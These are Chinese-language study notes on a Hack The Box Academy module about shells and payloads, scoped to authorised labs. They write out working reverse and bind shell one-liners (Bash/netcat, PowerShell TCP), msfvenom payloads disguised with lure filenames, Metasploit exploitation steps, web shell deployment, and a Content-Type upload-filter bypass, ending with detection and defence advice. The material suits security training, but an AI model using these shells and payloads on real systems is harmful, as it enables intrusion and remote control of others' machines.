来源:Hack The Box Academy Module 115。本文按章节结构重新归纳,保留课程中出现的命令、工具和演示图片,并将其整理成便于复习和实操的笔记。
实操范围:仅在 HTB Academy/Pwnbox、授权实验室或明确获准的测试环境中使用。
1. 学习主线
本章围绕一条完整的攻击链展开:
- 识别目标系统、服务、Shell 和解释器。
- 根据系统类型和网络可达性选择 Bind Shell、Reverse Shell 或 Web Shell。
- 手工构造或使用 Metasploit/MSFvenom 生成有效载荷。
- 通过漏洞、文件上传或用户执行等方式投递载荷。
- 获得会话后确认 Shell 类型、权限和交互能力。
- 在评估环境中完成 Windows、Linux 和 Web 应用场景。
- 从防守侧观察文件上传、命令执行、异常网络会话和明文通信。
2. 先建立概念:Shell 与 Payload
Shell 是什么
Shell 是向操作系统输入命令并读取文本输出的界面,例如 Bash、Zsh、cmd 和 PowerShell。在渗透测试语境中,“caught a shell”“popped a shell”通常表示已经通过漏洞或安全绕过获得了目标主机的交互式访问。
Shell 的价值主要体现在:
- 可以直接操作操作系统、文件系统和系统命令。
- 便于使用攻击工具、收集和存储数据、记录过程。
- CLI 通常比 VNC/RDP 图形访问更轻量,也更容易自动化。
- Web Shell 则是通过浏览器调用服务器端脚本,间接执行底层系统命令。
Payload 是什么
在本章中,Payload 指为利用漏洞、执行命令或建立 Shell 会话而设计的代码或命令。Payload 的选择取决于:
- 目标操作系统和架构;
- 目标上可用的 Shell、解释器和编程语言;
- 目标服务和漏洞类型;
- 攻击机到目标的网络方向和可达性;
- 防火墙、NAT、杀毒和应用上传限制。
3. CAT5 Security 评估准备
课程情境是为 Inlanefreight 执行授权测试,要求能够:
- 获取 Linux Bind Shell 和 Windows Reverse Shell;
- 从 Metasploit 启动 Payload;
- 根据侦察结果在 Exploit-DB/Metasploit 中寻找并构造 Payload;
- 识别常见 Web 应用和其对应语言,并从浏览器获得 Web Shell;
- 通过进程、环境变量等信息判断当前 Shell;
- 根据目标信息选择、投递 Payload 并获得会话。
这里的核心方法是:先枚举,再判断系统与服务,最后选择与目标条件匹配的 Shell/载荷。
4. Shell 的组成与识别
4.1 三个组成部分
一次命令行交互通常包含:
- 操作系统;
- 终端模拟器;
- 命令语言解释器。
课程列举的终端模拟器包括 Windows Terminal、cmder、PuTTY、kitty、Alacritty、xterm、GNOME Terminal、MATE Terminal、Konsole、macOS Terminal 和 iTerm2。终端模拟器本身不等于 Shell,终端可以配置为使用不同的解释器。
4.2 Linux 中识别解释器
ps
如果进程列表出现 bash,说明当前会话由 Bash 解释。也可以查看环境变量:
env
典型结果:
SHELL=/bin/bash
4.3 Bash 与 PowerShell
同一台机器上可以使用不同解释器。实际操作时应先确定当前解释器,再选择对应语法和脚本。命令不被识别时,先判断是命令本身不存在,还是 Shell 语法不匹配。


5. Bind Shell:目标监听,攻击机连接
5.1 工作方式
Bind Shell 由目标主机启动监听器,攻击机主动连接目标 IP 和端口。它要求目标能接受入站连接,因此经常受到边界防火墙、NAT、操作系统防火墙和网络位置限制。

5.2 前置条件
- 已经通过 SSH 或其他方式进入目标并能启动监听器;
- 目标监听端口在网络上可达;
- 攻击机已安装 Netcat,Pwnbox 中可直接使用 nc;
- IP、端口和防火墙规则允许连接;
- 必须在授权的实验网络中验证。
5.3 先用 Netcat 验证 TCP 通道
目标端:
nc -lvnp 7777
攻击机端:
nc -nv 10.129.41.200 7777
成功时,攻击机显示 succeeded!,目标端显示 Connection from ... received!。此时只是文本 TCP 会话,还不是操作系统 Shell。
5.4 建立基础 Bash Bind Shell
目标端:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
攻击机端:
nc -nv 10.129.41.200 7777
命令含义:使用 FIFO 连接输入输出,启动交互式 Bash,把 Shell 接到 Netcat TCP 会话上。命令、Shell 路径和监听参数需要按目标操作系统调整。
5.5 适用性和限制
Bind Shell 适合目标内部网络可达且能启动监听器的场景,但入站连接更容易被防火墙发现和阻断。课程随后使用 Reverse Shell 处理这一限制。
6. Reverse Shell:目标回连攻击机
6.1 工作方式
Reverse Shell 中攻击机先监听,目标作为客户端向攻击机回连。它可以利用目标允许的出站连接,在边界网络限制入站连接时更实用。
攻击机监听示例:
sudo nc -lvnp 443
课程强调,实际建立连接时仍需处理 IP、端口、NAT、操作系统防火墙以及目标上可执行的解释器。反向 Shell 速查表可用于查找不同系统的命令形式,但应先理解命令作用并按目标环境修改。
6.2 与 Bind Shell 的选择
条件 更匹配的方式 目标能监听且攻击机可直接访问目标端口 Bind Shell 目标不易接受入站连接,但允许对外连接 Reverse Shell 只能通过 Web 上传/执行脚本 Web Shell
7. Payload 单行命令拆解
7.1 Linux Netcat/Bash 单行命令
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f
分段理解:
- rm -f /tmp/f:删除旧 FIFO,避免残留文件影响执行。
- mkfifo /tmp/f:建立命名管道。
- cat /tmp/f |:把管道内容送入后续命令。
- /bin/bash -i 2>&1 |:启动交互式 Bash,并把标准错误合并到标准输出。
- nc 10.10.14.12 7777 > /tmp/f:连接攻击机监听器,并把返回数据写入管道。
7.2 PowerShell 单行命令
课程示例的核心结构如下:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
理解重点:
- -nop:不加载配置文件;-c:执行后面的命令块。
- TCPClient:连接指定 IP 和端口。
- GetStream():取得网络通信流。
- 字节数组与 ASCII 编码:在字节流和文本命令之间转换。
- iex:执行接收到的命令并把结果写回网络流。
- pwd:把当前目录加入 PowerShell 提示符。
- Close():连接结束时释放 TCP 客户端。
课程还展示了 Nishang 的 Invoke-PowerShellTcp,可通过 -Reverse -IPAddress ... -Port ... 反向连接,或使用 -Bind -Port ... 监听。
8. Metasploit:自动化漏洞利用与会话建立
8.1 首次使用和前置条件
- Pwnbox 已内置 Metasploit Community Edition;
- 使用 sudo 启动 msfconsole;
- 先有 Nmap 等侦察结果,再选择模块;
- 需要目标服务、目标地址、攻击机回连地址,某些模块还需要有效账号密码;
- LHOST 应使用攻击机可被目标访问的地址,课程提示可使用 VPN 隧道 IP 或接口 ID。
启动:
sudo msfconsole
8.2 课程中的 SMB 示例流程
先枚举目标:
nmap -sC -sV -Pn 10.129.164.25
发现 SMB 后,在 Metasploit 中搜索:
search smb
use 56
options
课程用 exploit/windows/smb/psexec 说明模块命名:exploit 是模块类型,windows 是平台,smb 是攻击服务,psexec 是投递方式。设置必要选项:
set RHOSTS <target>
set SHARE ADMIN$
set SMBPass <password>
set SMBUser <username>
set LHOST <attack-ip>
exploit
成功判断:输出出现 Sending stage、Meterpreter session 1 opened 和 meterpreter >。需要原生 Windows 命令时:
meterpreter > shell
8.3 失败判断
- RHOSTS、LHOST 或端口错误:无法连接或无法回连;
- SMB 服务未开放:模块无法建立攻击通道;
- 凭据或共享目录不匹配:认证/上传失败;
- 目标防火墙或杀毒拦截:Payload 可能执行失败;
- 模块不存在:先更新 Metasploit,或按课程后文加载对应 Ruby 模块。
9. MSFvenom:生成 Payload
9.1 列出可用 Payload
msfvenom -l payloads
命名通常体现平台、架构、Shell 类型和通信方式,例如 linux/x64/shell_reverse_tcp。描述中还会标明 staged 或 stageless。
9.2 Staged 与 Stageless
- Staged:先发送较小的阶段程序,再从攻击机取得剩余载荷。体积较小,但依赖后续网络通信和稳定的连接。
- Stageless:完整载荷一次发送。网络带宽和延迟较差时可能更稳定,社会工程投递时也可能减少后续流量。
- 命名上,windows/meterpreter/reverse_tcp 表示分阶段形式,windows/meterpreter_reverse_tcp 表示无阶段形式。
9.3 Linux 无阶段 Payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
参数框架:
- -p:指定 Payload;
- linux/x64/shell_reverse_tcp:Linux x64 无阶段 TCP Reverse Shell;
- LHOST/LPORT:目标回连地址和端口;
- -f elf:生成 ELF 格式;
- > createbackup.elf:写入文件。
攻击机监听:
sudo nc -lvnp 443
目标执行文件后,监听器应显示 Connection received,随后可执行 env、pwd、ls 等命令确认会话。

9.4 Windows 无阶段 Payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
课程指出,未进行其他编码或加密时,Windows Defender 可能检测该文件;目标用户执行文件后,攻击机仍用 Netcat 监听回连。

10. Windows 目标:枚举、选择漏洞与投递类型
10.1 系统识别
通过 TTL、Nmap OS 识别和服务 Banner 综合判断,不依赖单一信号:
ping 192.168.86.39
sudo nmap -v -O 192.168.86.39
sudo nmap -v 192.168.86.39 --script banner.nse
Nmap 输出中的 OS CPE、OS details、135/139/445 等端口、SMB Banner 可帮助判断 Windows 和服务版本。若结果较少,课程建议尝试 -A 与 -Pn,同时注意防火墙可能影响判断。
10.2 常见 Windows Payload 载体
- DLL:可被多个程序加载,课程提到 DLL 注入或劫持可用于提权/UAC 绕过;
- Batch:.bat 脚本,自动化执行命令;
- VBS:可用于脚本和社会工程场景;
- MSI:Windows Installer 数据库,可用 msiexec 执行;
- PowerShell:既是 Shell 也是脚本语言,适合命令执行和脚本载荷。
10.3 课程列出的资源/工具
课程提到 MSFvenom/Metasploit、Payloads All The Things、Mythic C2、Nishang、Darkarmour,以及用于传输和执行的 Impacket、SMB、FTP、TFTP、HTTP/S 等。实际使用前仍要根据目标服务和授权范围选择方法。
10.4 Windows 实战决策链
- Nmap 枚举端口、服务、版本和 OS。
- 根据开放服务判断潜在攻击面。
- 使用 Metasploit 搜索对应模块,例如 search eternal。
- 先运行扫描/检查模块确认目标条件。
- 设置 RHOSTS、LHOST、凭据、共享和 Payload 选项。
- 执行后检查 Meterpreter 会话,再通过 shell 进入系统 Shell。
11. Linux/Unix 目标:从 Web 应用获得 Shell
11.1 先回答五个问题
- Linux 发行版是什么?
- 可用的 Shell 和编程语言有哪些?
- 系统在网络中的用途是什么?
- 运行了什么应用?
- 是否存在已知漏洞?
11.2 课程中的 rConfig 流程
枚举:
nmap -sC -sV 10.129.201.101
课程示例通过 21/22/80/443/111/3306 判断目标可能是 CentOS Web 服务器,随后发现 rConfig 3.9.6。可以在 Metasploit 中搜索:
search rconfig
如果本地 Metasploit 没有需要的模块,课程建议:
locate exploits
查找 /usr/share/metasploit-framework/modules/exploits,并把对应 .rb 模块放入匹配的子目录;模块代码是 Ruby。课程也提示保持 Metasploit 更新。
11.3 执行模块并切换系统 Shell
use exploit/linux/http/rconfig_vendors_auth_file_upload_rce
exploit
成功输出应包含:检测到易受攻击版本、登录成功、上传 PHP Payload、触发 Payload、删除临时文件以及 Meterpreter session opened。
进入系统 Shell:
meterpreter > shell
如果得到的是无 TTY Shell,可先确认 Python:
which python
课程给出的 TTY 生成命令:
python -c 'import pty; pty.spawn("/bin/sh")'
成功后应出现类似 sh-4.2$ 提示符。


12. 生成更稳定的交互式 Shell
当 Python 不存在或 Shell 功能受限时,课程列出了多种可尝试的解释器逃逸/交互方式。前置条件是目标上已经存在对应程序,并且当前账号有权执行。
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e "os.execute('/bin/sh')"
awk 'BEGIN {system("/bin/sh")}'
find . -exec /bin/sh \; -quit
vim -c ':!/bin/sh'
Vim 中也可:
vim
:set shell=/bin/sh
:shell
检查文件和二进制权限:
ls -la <path/to/fileorbinary>
检查当前账号的 sudo 权限:
sudo -l
课程特别提醒,sudo -l 需要较稳定、可交互的 Shell;不完整的会话可能无法得到可靠输出。
13. Web Shell 基础
Web Shell 是通过浏览器与 Web 服务器底层操作系统交互的 Shell。常见入口包括:文件上传、命令注入、SQL 注入、RFI/LFI、Tomcat/Axis2/WebLogic 的 WAR 部署、错误配置的 FTP 上传到 Web 根目录等。
Web Shell 的特点:
- 依赖 Web 应用漏洞或不安全的文件上传;
- Payload 常用 PHP、JSP 或 ASP.NET;
- 浏览器可以直接发出命令并读取输出;
- 交互性和稳定性通常弱于 Reverse Shell;
- Web 应用可能自动删除上传文件,所以常被用作初始入口,再升级为更稳定的 Shell。
14. Laudanum Web Shell
14.1 首次使用与环境配置
Laudanum 在 Parrot OS 和 Kali 中通常位于:
/usr/share/laudanum
其他发行版需要先取得对应仓库/文件。使用前阅读文件中的注释和说明,并根据目标语言选择 asp、aspx、jsp 或 php 版本。
课程演示前需要在攻击机或 Pwnbox 的 /etc/hosts 添加:
<target ip> status.inlanefreight.local
14.2 ASPX 示例流程
复制文件并修改:
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx
把攻击机 IP 添加到 allowedIps 变量中,然后通过目标应用的上传功能上传。上传成功后,根据页面显示的保存路径访问文件,例如:
status.inlanefreight.local/files/demo.aspx
在 Web Shell 中执行课程示例命令 systeminfo,观察浏览器中的 STDOUT 输出。




15. Antak Web Shell
Antak 是 Nishang 中基于 ASP.NET/PowerShell 的 Web Shell,适用于 Windows Web 服务器。
15.1 文件位置和准备
ls /usr/share/nishang/Antak-WebShell
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/administrator/Upload.aspx
编辑配置文件第 14 行附近的用户名和密码,上传前建议阅读源码并移除可能暴露意图的 ASCII 艺术字和注释。
课程演示仍使用:
<target ip> status.inlanefreight.local
上传 Upload.aspx 后访问 /files/upload.aspx,输入设置好的凭据。成功后可以执行 PowerShell 命令、上传/下载文件、编码并执行脚本;输入 help 查看可用功能。




16. PHP Web Shell 与上传限制
16.1 环境识别
如果目标存在 login.php、PHP Banner 或 PHP Web 应用,可以考虑 PHP Web Shell。课程在 rConfig 3.9.6 中使用 WhiteWinterWolf PHP Web Shell,并通过 Vendor Logo 上传点演示。
16.2 Burp Suite 代理配置
前置条件:攻击机已有 PHP Shell 文件、浏览器和 Burp Suite。浏览器代理配置为:
IP: 127.0.0.1
Port: 8080
Burp 充当浏览器与目标之间的 Web 代理。上传文件时,拦截请求,找到包含文件上传的 POST 请求。
16.3 绕过课程示例中的文件类型检查
把上传请求中的:
Content-Type: application/x-php
改为:
Content-Type: image/gif
然后转发请求,返回浏览器查看上传结果。课程示例中上传成功后访问:
/images/vendor/connect.php
成功时可在浏览器中执行底层 Linux 命令,但这是非交互式 Web Shell。



16.4 Web Shell 注意事项
- Web 应用可能定时删除文件;
- 文件系统浏览、上传下载和命令链可能受限;
- 非交互式会话容易不稳定;
- 上传文件会留下较明显的取证痕迹;
- 评估结束应按授权范围清理 Payload,并记录文件名、位置、哈希和测试结果。
17. 技能评估:The Live Engagement
场景
CAT5 已为 Inlanefreight 网络建立立足点。任务是查看侦察结果、验证信息、研究可利用面,并选择漏洞、Payload 和 Shell 控制目标。目标只能通过提供的立足点访问,直接从其他位置访问可能失败。
目标能力
- 从 Windows 主机或服务器取得交互式 Shell;
- 从 Linux 主机或服务器取得交互式 Shell;
- 从 Web 应用取得交互式 Shell;
- 识别当前用户在受害主机上得到的 Shell 环境。
连接立足点
课程要求使用 VPN 或 Pwnbox,并通过 XFreeRDP 连接图形化立足点:
xfreerdp /v:<target IP> /u:htb-student /p:HTB_@cademy_stdnt!
目标环境启动后等待 1–2 分钟。目标主机位于内部 172.16.0.0/23 网络,监听器的 IP 应选择立足点在内部网络可达的地址。


推荐执行顺序:
- 从立足点枚举目标和服务。
- 分别判断 Windows、Linux、Web 应用路径。
- 根据网络方向选择 Bind、Reverse 或 Web Shell。
- 获得会话后用 ps、env、whoami 等课程中出现的方法确认 Shell 与账号。
- 记录有效载荷、文件位置、命令、会话类型和清理结果。
18. 检测与防御
18.1 MITRE ATT&CK 视角
课程把 Shells & Payloads 与三个重点阶段联系起来:
- Initial Access:通过公开 Web 服务、错误配置 SMB、认证协议或公开漏洞取得立足点;
- Execution:执行上传的文件、Shell 命令、PowerShell、漏洞 Payload 或 Web 命令;
- Command and Control:建立交互式会话和持续通信,可以是明文 Netcat,也可能使用 HTTP/S、DNS、NTP、代理或 VPN。

18.2 需要重点观察的事件
- Web 应用文件上传,特别是脚本、可执行文件和异常扩展名;
- 普通用户执行 Bash、cmd、PowerShell、whoami 等异常命令;
- 非常规 SMB 连接和端到端主机访问;
- 非标准端口上的周期性回连,例如课程提到的 4444;
- 短时间内大量 GET/POST 请求;
- NetFlow 中的异常通信、Top Talker 和不符合基线的访问模式;
- 命令行日志、PowerShell 日志、应用日志、网络监控、Firewall 日志和 SIEM 告警。
18.3 明文通信的风险
Netcat Bind/Reverse Shell 的流量没有加密。抓包后可能直接看到传输的命令和输出,包括通过命令创建用户等持久化操作。


18.4 防护方向
- 对公网应用进行沙箱隔离;
- 实施最小权限,限制普通用户和服务账号权限;
- 对主机进行加固,并把 Web/VPN 等边界主机放入 DMZ 或隔离网段;
- 配置严格的入站和出站防火墙规则,考虑 NAT 对 Shell 回连的影响;
- 保持 Windows Defender、Defender Firewall 和所有配置文件启用;
- 建立补丁管理策略;
- 对服务器、工作站、NAS、打印机、摄像头等终端启用监控和告警;
- 维护网络拓扑、流量基线和设备可见性;
- 通过深度包检测发现未加密 Payload 通信。
19. 工具与命令速查
工具/命令 本章用途 前置条件 终端模拟器 运行命令和连接目标 已打开终端,确认解释器 ps / env 识别当前 Shell Linux Shell 会话 nc 文本 TCP、Bind/Reverse Shell、监听器 IP/端口可达,防火墙允许 nmap 枚举服务、版本、OS、Banner 目标在授权范围内可扫描 msfconsole 搜索模块、配置选项、投递 Payload Metasploit/Pwnbox,常需 sudo msfvenom 列出和生成 Payload Metasploit 工具链,确认平台/架构/格式 Meterpreter 管理会话并切换系统 Shell Exploit 成功建立会话 Python pty 把非 TTY Shell 转为交互式 Shell 目标存在 Python Laudanum ASP/ASPX/JSP/PHP Web Shell 对应文件语言、上传点、hosts 映射 Antak/Nishang PowerShell/ASPX Web Shell Windows ASP.NET,设置访问凭据 Burp Suite 拦截并修改上传请求 浏览器代理 127.0.0.1:8080 XFreeRDP 连接技能评估立足点 目标 IP、课程账号、VPN/Pwnbox
20. 故障排查思路
- 先确认目标 IP、攻击机 IP、监听端口和网络方向。
- 确认当前 Shell 是 Bash、PowerShell、cmd 还是非 TTY Shell。
- 先用最简单的 nc 文本连接验证 TCP,再引入完整 Payload。
- 检查监听器是否在正确接口、正确端口上启动。
- 检查防火墙、NAT、SMB/HTTP 服务和上传路径。
- Metasploit 中先 options,逐项确认必填参数;成功判断看 session opened。
- Web Shell 无响应时,确认文件实际保存路径、扩展名、Web 根目录和应用是否会自动清理文件。
- Shell 没有提示符时,检查 which python,再尝试课程中给出的 TTY 方法。
21. 最终复习框架
记忆本章时可以按下面的判断链快速回忆:
枚举目标
├─ Windows:OS/SMB/RDP/IIS → Metasploit 或 Windows Payload
├─ Linux:SSH/HTTP/应用版本 → Exploit/Metasploit → TTY
└─ Web:上传点/脚本语言 → Laudanum、Antak 或 PHP Web Shell
网络方向
├─ 目标监听、攻击机连接 → Bind Shell
├─ 攻击机监听、目标回连 → Reverse Shell
└─ 浏览器调用脚本 → Web Shell
会话确认
├─ 看提示符与解释器
├─ ps / env / whoami
├─ 权限与 sudo -l
└─ 记录 Payload、文件、网络和清理结果
